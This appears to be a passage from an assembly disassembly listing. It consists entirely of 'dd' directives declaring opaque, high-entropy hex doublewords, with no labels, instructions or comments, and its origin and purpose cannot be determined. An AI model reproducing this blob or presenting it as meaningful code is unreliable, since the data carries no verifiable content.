		dd 87FB852Ah, 38C7C6h, 700C4152h, 95AA5579h, 74FC3A2Eh
		dd 0D86E013Ch, 0EDD01CF0h, 5B75C74h, 0E094B41Bh, 56C8D293h
		dd 0E521A200h, 0E3F4007Dh, 9685712Eh, 1400FD01h, 380694E7h
		dd 0C0EAF0D3h, 433B410h, 5804C077h, 0ED6DDA13h,	175574F0h
		dd 13A8A52h, 0C4A16AA0h, 3770624Bh, 3D6090D1h, 84A772h
		dd 0B3CAA176h, 52443E69h, 819C7B5Ch, 54F1EF14h,	1A8870h
		dd 851F6B1Bh, 78F5A916h, 0E6358h, 0FBEB42D6h, 67AE0Eh
		dd 8B757BB3h, 0A1D3F4AFh, 4A3D89F6h, 98DC872Ch,	0DDC071D5h
		dd 0D786A8h, 0EC1D88AEh, 0C41FFE66h, 1673C200h,	0BA22BC76h
		dd 967E023Eh, 7F2570BEh, 0E240F78Fh, 0C83F7995h, 55427C00h
		dd 6F0BA4C9h, 6E7E01h, 3DACF9D9h, 0EB731103h, 0AE929D00h
		dd 0F64EE4C4h, 808A547Eh, 3A99E4AFh, 3F82C77Ch,	0F08D761Ah
		dd 0F681B260h, 0D768FD03h, 0A17A07h, 0D9966731h, 0BC65D6BDh
		dd 47B16624h, 0F3E75703h, 0F8038DC3h, 69ACB5h, 2390C30h
		dd 2133F58Fh, 67026D76h, 0EF924351h, 0A43C40DDh, 0E89CF0h
		dd 0FC6566FEh, 48008552h, 4547A89Dh, 575ADAh, 0AE2FA493h
		dd 0D8784CEBh, 24557B00h, 0F8E98ED0h, 4FAF0EBEh, 0E6005D0Eh
		dd 7CDA287Eh, 0A3DD2C00h, 62FDF91Dh, 38D70612h,	0C860457Ah
		dd 0ADB8CE0Bh, 7D910046h, 6FEF84h, 7A6CFA1Bh, 0D997C9D4h
		dd 0B7E65871h, 377D9092h, 85FDBE00h, 70C19E9Ch,	92C00045h
		dd 3D46E256h, 9D0E91E1h, 0C36824E3h, 80D0B575h,	0B6C33F2h
		dd 4FEDE65Ah, 7465C8AEh, 0FCA8409Ch, 1B6B7D43h,	6300B89Ah
		dd 54FEA449h, 605E5AB1h, 9A55B6D0h, 8C1D853Eh, 5100F58Bh
		dd 0CC8F9F1Ah, 4962001Dh, 0C73D84CBh, 430045CFh, 0EEF06710h
		dd 0A43E2Eh, 886CCD02h,	167A7934h, 0EE0415Ch, 80ABE242h
		dd 3BA8FB13h, 89261CC5h, 986FC3E6h, 0F4A3558Eh,	5BC7211Ch
		dd 3AC28C0h, 8FABDh, 0CEC1E039h, 73B96AE9h, 810F9800h
		dd 42902F76h, 0F85300EDh, 414D9FAEh, 0D5040454h, 500BCFCEh
		dd 9BE04BC0h, 9DE20326h, 48D4839h, 81B68A6h, 0E0085530h
		dd 0D179A5h, 0B9F6BD3Bh, 0F27CA4DDh, 43E6F800h,	834B4C68h
		dd 0ABC30020h, 21BFBC04h, 2403FB4Eh, 0D4CF86F8h, 137801B3h
		dd 0EA15145Fh, 59588008h, 0ED513ACAh, 0AB440C4Bh, 0AE08538Dh
		dd 95C881C0h, 0DF8AE2h,	848EE1F3h, 0F9890AA1h, 0FEED9400h
		dd 562344C0h, 351A1C32h
		dd 41174F55h, 88152BA0h, 0B004F9B3h, 1D99A090h,	1F6280FAh
		dd 0AA013083h, 0DE3307DFh, 2C800B5Ah, 2567DCBAh, 4E3E50B6h
		dd 0C9F58086h, 0EA6040E9h, 3395077Fh, 7080034Fh, 0A661D769h
		dd 0AB0050E8h, 0F5EB6B0Ch, 1C46F196h, 0C3059B4Bh, 27D82EA9h
		dd 8B40139Ah, 7E720D16h, 0F220FF01h, 0EFFB5231h, 30FCB6F0h
		dd 8A38212Dh, 3975555Dh, 22E3316h, 0D9C8B000h, 1DD237A2h
		dd 1721987h, 3CFAB422h,	13D1F863h, 59C0EA00h, 0B8C2973Fh
		dd 0FF20CFD4h, 0B9DF8C60h, 0BA0091D1h, 67D9A413h, 153CBEh
		dd 88A2BCC3h, 77B54011h, 0D4E11600h, 0C6D35C2h,	0E828031Dh
		dd 48C91C9h, 17C6A1h, 66D34D1h,	0FB3A8BC8h, 6102984Eh
		dd 0ADB7465Fh, 0EEDA07AAh, 47FA48E0h, 8003823h,	0A12C7AB3h
		dd 3A9AF873h, 5F9FCEBBh, 0FF71C733h, 0D4391CA3h, 0AACC90C4h
		dd 0B323130h, 0AF481D10h, 5216DCCh, 3E24F003h, 0F0550C54h
		dd 0B798D0h, 2C1487F6h,	8F36BB43h, 48C59618h, 30812260h
		dd 4F70D52Bh, 4038D7C7h, 3CE20003h, 30FF1187h, 6C07108h
		dd 51F4CCA2h, 98C0A0F8h, 9ECE48A6h, 752FFCBAh, 0DF3A0E74h
		dd 2B44027Ah, 0AA1CC031h, 1035D37h, 5B7699E2h, 2914D815h
		dd 374E0F6h, 0C544BDB3h, 4EB07C90h, 2A0059A6h, 0E996D171h
		dd 0F2C78462h, 0BC4700F6h, 15F013B8h, 0C5005FD4h, 0FA0BC18Bh
		dd 8E66EDh, 7C6D2092h, 6EA6092Fh, 39493100h, 0AEBCA98Ch
		dd 0C9CE0021h, 0D069D42Dh, 180120E3h, 2279DCDh,	25E00778h
		dd 0AE3B38F3h, 0C08A941Fh, 0D062D456h, 7703BC6Ch, 4B4AC542h
		dd 1FF0E768h, 35D26AFh,	0E2D0F903h, 7CE07896h, 0FC3E391Bh
		dd 0E8AC0B42h, 60AF80E7h, 6F5BE94Fh, 8440486Dh,	633B8E11h
		dd 0CE171207h, 2040F43Ah, 77E67Ch, 8B18D2AEh, 0D8164B90h
		dd 0E261BB0Fh, 40309D2Bh, 0EC647h, 0D1661EF6h, 82B0ED43h
		dd 6CCCEE14h, 0D6060410h, 4BC01B83h, 1F617A86h,	4076D537h
		dd 0C20A3DE3h, 40CF97CEh, 0AB6024E1h, 38BE9203h, 110F29DBh
		dd 80DFFBC7h, 5ADC5889h, 50BD0F25h, 2218410h, 303B618Ch
		dd 0E49052CEh, 0FF073A00h, 0D087B1A8h, 4499005Ch, 0FBE86D96h
		dd 0B700DE63h, 3DA30A5h, 0C373B86Ah, 3A642918h,	280E7CB0h
		dd 5200D9FEh, 0DE380AE5h, 3B6844ECh, 0A2AC7894h, 0EA5D0077h
		dd 3EA76BC5h, 0BBDF7700h, 0F86A6063h, 5EF5008Ch, 28403C42h
		dd 453D01CDh, 0C722039Dh, 1DECD2FFh, 2FA27570h,	0F85875F0h
		dd 39EB0022h, 6918CF2Dh, 7285001Bh, 2F7E1A42h, 8430749Ah
		dd 3CC520E9h, 0E6F0A021h, 1FA998F8h, 52C9622h, 0C03D9064h
		dd 0CF98F458h, 0F62F68C0h, 0D893F0h, 0D6193596h, 0FFA9A568h
		dd 0FA183F77h, 62877F3h, 139E0022h, 68793081h, 0BD305051h
		dd 0FBECD07Eh, 284363C6h, 37B0AC1Dh, 1118ED97h,	0E819BBF0h
		dd 0EF5C0FF2h, 9000FBA4h, 3FEE2505h, 0A580E00h,	0BBC1AEEAh
		dd 0D97300EDh, 92F70CC8h, 411C885Fh, 0C94063ADh, 8B2733CFh
		dd 3A7A07F3h, 9FAF1AD8h, 217132C0h, 39000152h, 3EEA1828h
		dd 8C81B9h, 0F6601AFEh,	32369A57h, 3F1CFD7Bh, 0A7C09F88h
		dd 1EB869A3h, 21AC3E7Dh, 3A8A0D0h, 3E15F665h, 2038C8CBh
		dd 448C449Eh, 3E3B2DBAh, 78BC407Ah, 0C1DE1814h,	179C6006h
		dd 0F200E57Bh, 722157FFh, 0FB4738D6h, 1D20BBE0h, 0CE713A6h
		dd 9B58EBC4h, 386B6E01h, 2A528C36h, 4F56C32Bh, 0F71C21AEh
		dd 0BE008240h, 0E89F433Eh, 0FEAABh, 0AFB48B17h,	6E1C6B3Fh
		dd 0C5951300h, 96F66476h, 30337726h, 3910745Ah,	0DC00EAC3h
		dd 0DA7D6BCDh, 0AD9408h, 1FA388E2h, 195B1479h, 0ACCFEF1Fh
		dd 0CD579280h, 70B2B032h, 91840243h, 446A3EE5h,	6223F580h
		dd 0C038F874h, 0D729809Ch, 3A6EFD4Dh, 0F2357338h, 6F8F00FCh
		dd 6B4C9B5Eh, 50004606h, 122E0DFBh, 685C7Eh, 0F25A3DD9h
		dd 8A3A18D8h, 2340AE00h, 0A9489878h, 0FEF700EFh, 2B94B611h
		dd 6F00F6AFh, 0BA309621h, 0E57618h, 0BB33AE2h, 83A5E39Ah
		dd 0C7C8B901h, 8F10D026h, 77DB65CCh, 3270086h, 3BAF83DAh
		dd 0D9004D14h, 0A617D1D5h, 0B18A63h, 55A7A086h,	72669D7Ah
		dd 0D5D62800h, 4E65C3BFh, 73C503EDh, 0E7581EDCh, 80CBC7A1h
		dd 3B571418h, 601BB8A5h, 635960F5h, 20E8D8BCh, 0FBC2C100h
		dd 5DFE8A86h, 0E6F1059Dh, 3CC3C21h, 594E2B24h, 0A09E84F3h
		dd 0D660E218h, 17BC48h,	50E37596h, 0CD330B45h, 196D1A03h
		dd 0A90C2C3Bh, 63D15102h, 8FAF3180h, 774A5EA7h,	0EFD17600h
		dd 0DFB0CF50h, 3962007Fh, 9774DEBEh, 9F029D5Ch,	68AE0A17h
		dd 42A080C3h, 0E443C06Eh, 67E6C2h, 0F826A857h, 3FECF949h
		dd 82AFA307h, 88B0B3B6h, 79FC53BCh, 2AFA00DDh, 0A49CF673h
		dd 0EE000E0Fh, 444E9689h, 720AFE37h, 0F009FC19h, 308AE8D4h
		dd 0AC10F9AFh, 5D007DA1h, 72CD1737h, 3CA311h, 0BE420F12h
		dd 63EA28D5h, 290079EEh, 0AEF67F07h, 1EA1310Ch,	0C0085EBDh
		dd 4E3ED18Ch, 7F006AC4h, 5C8AB964h, 53B06A3h, 0DBAEF39Ch
		dd 0C0CEC4D3h, 9EEA12B5h, 0E8EDB40Eh, 2E84801Ch, 3B3D7Fh
		dd 0C598CCA9h, 0C6BB270Ch, 0D0507B09h, 0E47D8E9Ch, 8F80A418h
		dd 3F6729BFh, 0E880F7D5h, 96E0B10Dh, 4F07AF40h,	3244397Bh
		dd 0E349CF50h, 86C10E54h, 0EEE63F17h, 0BC01499Ah, 0D1472B96h
		dd 21FCCC40h, 63F30069h, 0BB06845h, 7C00AAFFh, 0B290AD39h
		dd 1FA04Ch, 0C3953F86h,	3CCB0DF5h, 5D00567Eh, 99E5F8F4h
		dd 0C48D0Bh, 0D5FBCEE0h, 7DDE3FD4h, 0F0C99500h,	4BFC5B3Bh
		dd 9CF200E9h, 67DA2697h, 0D1315A7Eh, 258790AAh,	28B550E8h
		dd 0FFEBA1h, 58C794C1h,	1E11AC5Ch, 6CAB3800h, 8B704734h
		dd 10E4A8D8h, 7DFB00F1h, 91C0ACD5h, 390035D4h, 0F374590Bh
		dd 903C99h, 89EA34F2h, 79E9A9B8h, 0EB07F003h, 0D8AFCEAEh
		dd 9F44BFBAh, 0C006CF0h, 0D91B294Bh, 0A75870h, 0A02A7A3Dh
		dd 99047CCEh, 0CA007190h, 0A4F5ADA2h, 3BBFA16h,	0D5D2AAA1h
		dd 0F990A6E4h, 0E0006896h, 0E66E7C0Fh, 0E08F2B92h, 0F8520011h
		dd 0B2793EC7h, 0B600ABF1h, 64205D4Bh, 68D5DAh, 2F5334BAh
		dd 7351FABBh, 0CEBFC101h, 867B01Eh, 6D3DD4h, 5EFC7C07h
		dd 15F85BF6h, 40A87651h, 4A66DBD4h, 8BA66E00h, 963C2E5Dh
		dd 0CDC70038h, 48414364h, 0F10019A1h, 0F740A85Eh, 0C5BF72h
		dd 97D218B6h, 61D5A489h, 2E79F601h, 379BF0DEh, 65BF9EBh
		dd 0E68A646h, 835E30D1h, 0E75C0D40h, 0C77DA6ADh, 8A195409h
		dd 0C9B8800Ah, 6EE84Eh,	1E70C404h, 6CBF741Ah, 25ADA300h
		dd 4F3A663Eh, 48017BF3h, 88006208h, 7BC1C826h, 5150742Bh
		dd 0EC0054F8h, 0E8F1E5C4h, 84627064h, 80F32124h, 67002E28h
		dd 94288066h, 0A1328Bh,	414A0229h, 1B0D9614h, 8045381Dh
		dd 0F3FC6980h, 79CCECh,	9C92E31Ch, 58B6C004h, 3300B19Eh
		dd 0E4EFB44Dh, 0FCA500BBh, 5D39C53Bh, 9005FAC1h, 8FCAD4ABh
		dd 10434C1h, 0C763CCh, 0BCD56181h, 0E7A234F6h, 0E953740Eh
		dd 4009309h, 82368E58h,	24B8036Bh, 60119CDh, 674904E8h
		dd 5AFB4E12h, 0C0D4D100h, 3F4309A1h, 760081B8h,	7C51F69Ch
		dd 261F0F2Fh, 0BEC06939h, 0D00D9B2Dh, 0A63F1C52h, 7BEAC7DEh
		dd 0D0C8D7C1h, 2CA55346h, 0F6419600h, 2F864DB6h, 0AF140031h
		dd 0B250F832h, 0EF0028E8h, 0DC1129FCh, 0F58216h, 899C0CBFh
		dd 0B4AD6D94h, 0B4D1A728h, 692B5C00h, 7D956C92h, 9372D6h
		dd 538D94FDh, 4F75206Bh
		dd 0DBA09600h, 0DFA842AFh, 50691FC2h, 7CBEC0A7h, 0D140AFBh
		dd 3C00BB7Eh, 0C1C9F7CDh, 0E028F0CEh, 0D5E6D8h,	0B92FECD2h
		dd 0EF96AB0Eh, 6603CDB8h, 0D99DF51h, 1080EC62h,	0F581A21h
		dd 6C4C1780h, 7C98620h,	0B500CF98h, 0A0E2B420h,	0FC83F1h
		dd 0A9B9D78Dh, 0E6401F8Bh, 7500A1FCh, 27CAC4FFh, 50C8C3Bh
		dd 7E03ABD9h, 5B3A8182h, 60046042h, 54713109h, 0AABD85A9h
		dd 87943580h, 14E44CEBh, 4A886901h, 0D003FB5Dh,	0F11EBD21h
		dd 7A473AA7h, 64702B67h, 0FAF99Ch, 0C7AD5560h, 0F316E0CFh
		dd 6F7FE01h, 5CD3EAF4h,	0FF82F4h, 0B0C6D06Bh, 481D35A8h
		dd 0F4087D00h, 99BAAE9h, 6D5500C1h, 1873548Bh, 15010602h
		dd 56AFC2D8h, 58804640h, 0FAE5264Dh, 0F501D7EBh, 6D57D661h
		dd 0C8C6C0F7h, 39B3170h, 373FB55Eh, 0A998BD48h,	771E5FB8h
		dd 0B6801058h, 5621FFE1h, 12E40050h, 4FBFE0B4h,	5E023809h
		dd 0F2A0CF29h, 2A2940CCh, 0B06E3903h, 4C22A680h, 0AC7B5E0h
		dd 570006FCh, 0BF444B2Bh, 0D29B35h, 36961810h, 63E54F1h
		dd 0A2E74E00h, 0EAFB03F7h, 98EAF5h, 649BD292h, 883256F1h
		dd 5CB8600h, 0A3B510DDh, 0BE5407C8h, 0B0CE1DA9h, 69A2780Bh
		dd 11261500h, 181CE1DDh, 58230091h, 725C2DE0h, 0CE0F1716h
		dd 60CAE8C0h, 374B2793h, 288D9051h, 83CFA40h, 49B6EBA7h
		dd 0D26C9B40h, 0AE800034h, 0D39562ABh, 371CFD8Ch, 5740DBA6h
		dd 3CBB3D4Eh, 0CF5C00B2h, 0EA5370A1h, 8C0026D0h, 73A06816h
		dd 3A1FB028h, 0DD3B6B7Ch, 3B70FA80h, 0A7DE2443h, 39221100h
		dd 76C9BBC2h, 1FF0FC55h, 803FC70Fh, 27BD5F8h, 6800173Eh
		dd 338BDF25h, 6535D7h, 0CAE1694Dh, 54C7A704h, 7438538h
		dd 0D44C5E28h, 0F4C49222h, 9CAA0E04h, 0D0AE8100h, 7A02D8B1h
		dd 0F360834Bh, 0C0C460FDh, 0B94C0059h, 102DE30h, 57798478h
		dd 0B1E57E1Ch, 7DF8C780h, 0E488B4A4h, 8CAE002Fh, 73E414D4h
		dd 0FC98254Ch, 6900094Fh, 0A0D0A1B7h, 2FF3E6C4h, 7DDCD8E3h
		dd 0A399B00Eh, 0F0582631h, 7812B2h, 0C8C09BA1h,	0FC5E33F5h
		dd 151DF216h, 754B8300h, 13DFDE9Eh, 4037F0C5h, 0B46D69ECh
		dd 8200AE5Ch, 0BF574AD3h, 0DD0D6B9Fh, 0A8DFC020h, 0AAB14E9Bh
		dd 19BC8E30h, 21E98Dh, 5A57F419h, 0C556E778h, 0F06B5C00h
		dd 426610EDh, 0E22A07C8h, 1323098Ah, 0D8E0EC3Fh, 60C4A76h
		dd 31CBD445h, 462ECCDh,	0D2EE4C7Eh, 0C2D28056h,	14A048F9h
		dd 8A03BC50h, 3F21DA22h, 954D0CCh, 0DDC514B6h, 0C0006436h
		dd 0F6D645ACh, 0A6001BC8h, 95EEC189h, 9F1F3Bh, 7F19DA61h
		dd 0ED671134h, 91045BE6h, 0CB56D00Eh, 2A3CF480h, 2982071Eh
		dd 5003F61Ch, 0BEBC7E8Fh, 494AE003h, 936C22E2h,	119EB8ECh
		dd 83A50092h, 0DCA07CEBh, 2A00C067h, 0DD340831h, 38C10506h
		dd 6387F73Fh, 3188C601h, 0D4FF2EADh, 3C07DE47h,	5A360328h
		dd 3F33DDB0h, 38C2FC4Eh, 118CAF17h, 0D4D89DC3h,	22FD5500h
		dd 2488CD62h, 1B200060h, 95FE940Dh, 8C7C77B1h, 1A3628C3h
		dd 0C4D0F9A5h, 1731093h, 6665F2B7h, 67282079h, 602DF900h
		dd 0D8DCD7Fh, 0FCC000D1h, 2C182523h, 0AE00D3AAh, 65FDD432h
		dd 0C14EA53Bh, 74E49C48h, 0DC786004h, 8A247498h, 9E805001h
		dd 5BEB0E44h, 0B9BE00B7h, 19455934h, 790775DDh,	0AA3B3FA0h
		dd 2ACC49BCh, 0D8E3EEh,	32E51105h, 89FEE15Ah, 0C5F16200h
		dd 0DCBE26ABh, 0C66A00AAh, 2B14F719h, 7C00E33Bh, 8DD484C8h
		dd 0B444B1h, 646860CEh,	4BB8C11h, 0D60080F8h, 1927EBF3h
		dd 0E2F21F0h, 0B25A101Ch, 8200BB2Eh, 73932D54h,	0A812FF12h
		dd 2E5B68F0h, 46B231h, 745309Bh, 91002789h, 2B4390A1h
		dd 1E77C756h, 40F9F808h, 969FABECh, 0A10054EEh,	5A037394h
		dd 69C6FFh, 97906F4Fh, 0F9054B9Ch, 0BE00C875h, 0BB5EED61h
		dd 737FC991h, 0F83E0162h, 50A94FC6h, 6E5AF487h,	4D7273F8h
		dd 28F34400h, 0E6279172h, 5BA9000Ah, 82D317E4h,	9C00F4C8h
		dd 922FA4D5h, 3A047B22h, 0C9878784h, 10AD67ECh,	0CA030E36h
		dd 91F16300h, 27AE602Fh, 882002B9h, 7FC558E1h, 0FBBDC440h
		dd 977E8060h, 38BB86Ah,	4A98F618h, 0F4D891A5h, 0CC004552h
		dd 90331FA9h, 0B91340h,	98F3EAE4h, 0A5DEADFFh, 3738B200h
		dd 0D36D81D8h, 41C603E8h, 51D8701h, 38B41815h, 75790C04h
		dd 0C1007h, 0FB903576h,	1450FC8Dh, 6B267D00h, 410524BAh
		dd 11891F54h, 58B08690h, 2822288Ah, 3578C2h, 50410CC6h
		dd 0FC93FEA2h, 51E09131h, 0A51051F4h, 28C4C77Bh, 2542D8DCh
		dd 0E00189E4h, 0C002E67h, 0B881C1A9h, 3A6F7808h, 1294E451h
		dd 0A9F6C702h, 4DAFA401h, 9288F200h, 4060B880h,	8C205313h
		dd 312010B2h, 815D0032h, 448DF8F3h, 0B1B4054h, 2C29B263h
		dd 1E510CA8h, 0B028E93Ah, 55516363h, 0C8F118EDh, 248629B3h
		dd 79DC51CCh, 32F6002Bh, 0E789C378h, 0CE009955h, 3E6F1419h
		dd 79EAC9h, 1A625A5Ch, 0EEDFF0Fh, 10BD8D01h, 989CA56h
		dd 1D8B77C8h, 4016397Ch, 2FB71A2Eh, 0A1008759h,	0C53E4860h
		dd 3E0D17E8h, 0F8E28Eh,	66A818C4h, 0C2D376DCh, 0DDBE1009h
		dd 138D0093h, 0DE3D65h,	68F402CDh, 0FA19A023h, 0FCAC6A00h
		dd 4797E9D2h, 99690088h, 4ACD9AD6h, 2A0084B8h, 0EC0A6F6Eh
		dd 24D1A67Ah, 1C200C4Bh, 419DB9CFh, 0A005C094h,	0ACE995AAh
		dd 6A2F100Eh, 57C8E3FAh, 0F742F02Ah, 3E590090h,	0AABE91Ch
		dd 5D1CDC9Fh, 468FBB58h, 6DB580F5h, 5231C0h, 3D439D1Fh
		dd 9B592D39h, 80568700h, 0A893D173h, 0C3DD06F2h, 10FA6841h
		dd 80A4A53Eh, 3D89A92Ah, 50FB7CC4h, 7852E386h, 0B090A969h
		dd 3F728CF0h, 1F005EC3h, 9A1BB366h, 3D006CE9h, 6599971h
		dd 783E31h, 25F5E03Ch, 5167EB47h, 5746452Eh, 9665B803h
		dd 5866E821h, 776DEAE2h, 4EB50053h, 1759F029h, 0A4E84A45h
		dd 561BFD03h, 0F83149BCh, 0F2B58508h, 67A01EDFh, 293CC076h
		dd 53A521AFh, 0AB6E20Eh, 60974096h, 0FA247F90h,	1E2B0038h
		dd 19933792h, 0AC01AAFEh, 61237E1Ah, 806F63CCh,	0C42ACA1Bh
		dd 0A5FEF100h, 83A6D712h, 9199006Fh, 5D9A9353h,	823D7F74h
		dd 66DD007Dh, 41DC1221h, 39B70643h, 305489E0h, 20176100h
		dd 0A97DA4C3h, 0B7780053h, 0CE83CCD7h, 5003EAD1h, 6AC64535h
		dd 0C511998Ch, 8176F8D3h, 0D37D93h, 0DBA8EFDh, 0CBBEAF5Ch
		dd 65D5C500h, 0B0D72961h, 0B7FB0027h, 7DB24F54h, 0D907860Ch
		dd 9FAE671Dh, 823243B0h, 0EE9CA0F4h, 0EBA116A2h, 29A20075h
		dd 897D99A3h, 0BFBECF00h, 2BFCB5D2h, 0F07002DCh, 6505A7CAh
		dd 0CC13ADC1h, 4C900B8Eh, 4E3501Eh, 24B9880h, 5845F709h
		dd 1700360Dh, 6F1C2A35h, 7B0B2C12h, 77F54C1Bh, 5B1FE800h
		dd 0A10052D1h, 4D66AC20h, 3A6853h, 0BC39096Fh, 0ACB653Eh
		dd 1005273h, 0BD1AD0F1h, 39D25ADDh, 0C4397DAEh,	64C8FA80h
		dd 91E5FB28h, 0F5B51700h, 5572FF4Dh, 0E6E409AEh, 88003B8Fh
		dd 2DEED644h, 76CAD39h,	0EDE09FAFh, 8EFB403Bh, 267C00FEh
		dd 32C88439h, 3A28B779h, 0F200E6A2h, 0ED65A490h, 76419275h
		dd 233F00F1h, 0B8432EB9h, 0C300FA9Eh, 0AF1F540Bh, 0D35276h
		dd 3F73D2D9h, 0DCB54899h, 11B79600h, 4DA98B37h,	4FA702D3h
		dd 0B62649FDh, 9CB0CE80h, 64039882h, 9DA3199Bh,	27F8F086h
		dd 0FDAC00DAh, 0E1547CD9h, 0CEF6BBF0h, 399D2101h, 8326D836h
		dd 26C2720h, 0F6B398AEh
		dd 5F408455h, 0D930E124h, 861CF8EFh, 0F5160152h, 34283DE2h
		dd 3214F898h, 0EE085400h, 0C6D23FA3h, 3A850EBEh, 0A2830978h
		dd 33D8BC36h, 8A0028D0h, 0DA95A440h, 17C9D50h, 5EA8573Dh
		dd 40FB1C6Ah, 0E82FDDA6h, 0D4388D00h, 0CC78DA5Dh, 86A70127h
		dd 0B8AC29F5h, 0A6F0FF9Ah, 2D00FF75h, 0A2DC7E67h, 17AA11h
		dd 0BF95AB1Fh, 539B1B3h, 66440E00h, 0CF0DB9Ah, 58470015h
		dd 0C3F89D87h, 1100DE42h, 7F862BE7h, 1F5006h, 0EC1744B5h
		dd 0F6D09BBCh, 0D9557100h, 0A051D37Bh, 85C80047h, 1FAB813Fh
		dd 6F7C9491h, 0FF903Dh,	0D14EF8B8h, 7836C9h, 40A72BC6h
		dd 0EFA91852h, 4F10B367h, 0A4C12A0h, 0AA5B0046h, 3D74CA5Ch
		dd 7C001B53h, 0EB543A0Eh, 1F9F1269h, 0C6EFE3FAh, 584950A8h
		dd 35ED9300h, 147042F9h, 0CE05006Eh, 0D4652FC1h, 77006411h
		dd 6628ABFh, 23AD07h, 8C982D3Fh, 6A9EED48h, 80773Fh, 447BB94Bh
		dd 0DA30ECh, 0F9CE139Dh, 422A6FC3h, 0D6739700h,	0A1E0551Bh
		dd 0B9CB0710h, 0F9A6DA33h, 0C8044D00h, 88000A39h, 4DD75EB8h
		dd 2BBC5h, 0CC606ED8h, 0C7A665E8h, 884ED600h, 0E3175E70h
		dd 86390116h, 68C046E6h, 2C7FC08Dh, 0D062E200h,	0C94B76A9h
		dd 0B48079Dh, 89DBF371h, 0C84E001Fh, 34A06936h,	235929E3h
		dd 21A57914h, 3C197CACh, 87F668D6h, 0E807E70h, 0B741DF3Bh
		dd 1642760h, 4800F236h,	88FE2504h, 6842A8h, 7B6C51C5h
		dd 29105767h, 0FFBBA703h, 9063D170h, 141113h, 0BE969378h
		dd 0DAC8EA2Eh, 0E71A6100h, 0B4CDE084h, 0CE3900F5h, 5E69E2ECh
		dd 8F009960h, 0C708467Ah, 34FFE42h, 0AA8188DCh,	0CEA0C2D4h
		dd 9824F8B2h, 67013096h, 42710A53h, 43A9E0h, 0BD3591CAh
		dd 0CBDE8AE6h, 0A613870Eh, 0ACEDE02Dh, 21AAAh, 6A71998Dh
		dd 846DBBBAh, 52035C00h, 6CF11348h, 6BD5004Dh, 37649653h
		dd 79C0B7B1h, 2E3DFEEDh, 864800E8h, 7AC71F1Ch, 9900F513h
		dd 0B84BDE3Fh, 384B4E4h, 16A145EEh, 30B0B2BEh, 1BF8751Fh
		dd 0C85A39h, 15685DBh, 10A5569h, 0E1532EF5h, 205BC5D1h
		dd 5700C647h, 0DE2850B9h, 0D83967h, 9EB0A40Bh, 2E9427CDh
		dd 6EE01E98h, 1D36D000h, 0EFE4ECFDh, 0D8670050h, 92B07C48h
		dd 59F431C5h, 95E6DB00h, 69588A0Fh, 289B019Ch, 0ADE9B40Dh
		dd 2335E4ACh, 480E017Fh, 0A040C920h, 6118653Fh,	0A8D10053h
		dd 0C72E3892h, 0FF58362Fh, 0DCA7005Ch, 0EA095C3Eh, 9998E8h
		dd 64D1FC9Bh, 8FF11DA9h, 0ED4B581Dh, 0A0C3CC03h, 0E537C824h
		dd 0FCEB00D1h, 0EFFC596h, 5401401Eh, 0CFDCC48Ch, 81F3D260h
		dd 4280865Ah, 409A13E8h, 7A2E6FD0h, 0AF1D80EFh,	0BF57B5C0h
		dd 3AA43FDh, 6CAB4D0Ch,	79E07E8Eh, 0C1001F4Eh, 86E50D5Ah
		dd 0CBAFFFh, 0DBB1A9EAh, 0E2913273h, 0C078B701h, 0DCC1D946h
		dd 0F08C30h, 26245910h,	6871D09Fh, 14D4A303h, 88BC7EABh
		dd 0EF1076h, 0C91A9EAEh, 22CBF5C4h, 499158h, 0A8E5E4C2h
		dd 9898D531h, 3AAF6FDh,	0AECE8243h, 0D9A1C1E2h,	1989F024h
		dd 1259BA00h, 50DCA356h, 169D3D60h, 28E3B18Fh, 0FA6EFDC0h
		dd 180035B9h, 72E64F9Eh, 0E7C688Ch, 0AEC8DCE5h,	142D00FDh
		dd 0D94CD0C9h, 0F3CDB503h, 0C887E9D3h, 0DB8690h, 69EAA055h
		dd 14403CC3h, 0ECCDDA1Fh, 0B38C3780h, 1CB186CFh, 0CAFE73B0h
		dd 1E980D2Eh, 7422403Eh, 71AFB43Fh, 0BCE32F03h,	8A97F5h
		dd 0F18D9678h, 8E0756B6h, 0BDF43100h, 30C1A43h,	7A197A8Bh
		dd 37881623h, 81F000A6h, 3B26C1F0h, 5D07FA79h, 0A4D177D2h
		dd 2CFE970h, 0E2EE00E3h, 500D9E2Eh, 0C0FC4C27h,	0FC487AF8h
		dd 1CB70030h, 9034BA8Fh, 29740126h, 69738C96h, 4980404Dh
		dd 0FEE02FE1h, 765E443Dh, 2EA4F800h, 0EA378EEEh, 0DFF40E1Ch
		dd 4840C661h, 0D22D6BF0h, 0B070FCA0h, 0A0745459h, 4C4148ADh
		dd 405481B0h, 0FC3938DDh, 5F00593Fh, 4E012E12h,	9E0776BBh
		dd 2C939673h, 99BAF410h, 85101DAh, 7298232Bh, 6C60EA8Ah
		dd 0A17060FBh, 669EC60h, 698D620Bh, 3C0011C3h, 0A965EF73h
		dd 0F07F88FAh, 608AE100h, 51A8097Ch, 3BB9003Ch,	3A2C14E3h
		dd 0F93992CFh, 0D3BA97FBh, 2843A600h, 0EB69A6h,	0CFACF447h
		dd 0AE1C6FEh, 3C37E601h, 0B80FC8D9h, 2EEB820h, 8A35A660h
		dd 0B1C05982h, 980099B0h, 39FA2E23h, 247E0F7Bh,	6CED25h
		dd 6B3210B1h, 377CBAA0h, 0B2EBAB00h, 9B25A9AEh,	0D458004Ch
		dd 85175021h, 841C697Bh, 0D8FEEA7Ch, 4E0800B6h,	227A9EB9h
		dd 0F2F300AEh, 1FBFCF6Eh, 940936FDh, 141D974h, 0B6653030h
		dd 0F9E6C20h, 623CD3CFh, 0CEB4F040h, 4E002D07h,	8A2C712Eh
		dd 0DC4DFBh, 446E0522h,	0CE3C9733h, 0F3E26800h,	4687C026h
		dd 72FD00E0h, 0ED5CF7D1h, 0FA002A7Ch, 0B4D83B16h, 5AB74327h
		dd 289CBC41h, 0C7DACC1h, 8DEBF000h, 54B3A720h, 98AA6024h
		dd 4BFD9753h, 8759EA00h, 711BA2D7h, 0DA6D04A3h,	0C0430255h
		dd 0F3453020h, 2803E800h, 0CD25AA98h, 0ED6F02BAh, 1D8A0A8Bh
		dd 801F625Fh, 0C47CA740h, 0F1850051h, 0A92A63F7h, 9A00BB84h
		dd 7F1AB41Ch, 1DEC0DBh,	0A1A7AE3Ah, 0C05D51EFh,	0FF01F9A2h
		dd 0E907D6DDh, 0F120BBBDh, 389808h, 67AE9212h, 0DC994F76h
		dd 0AF455E01h, 3F35F8A8h, 2343DCh, 0DB8A803Eh, 0AA05B8B9h
		dd 0D9DA6200h, 0F1012A4Ah, 66EC00C7h, 0F3F8C23Eh, 834093AFh
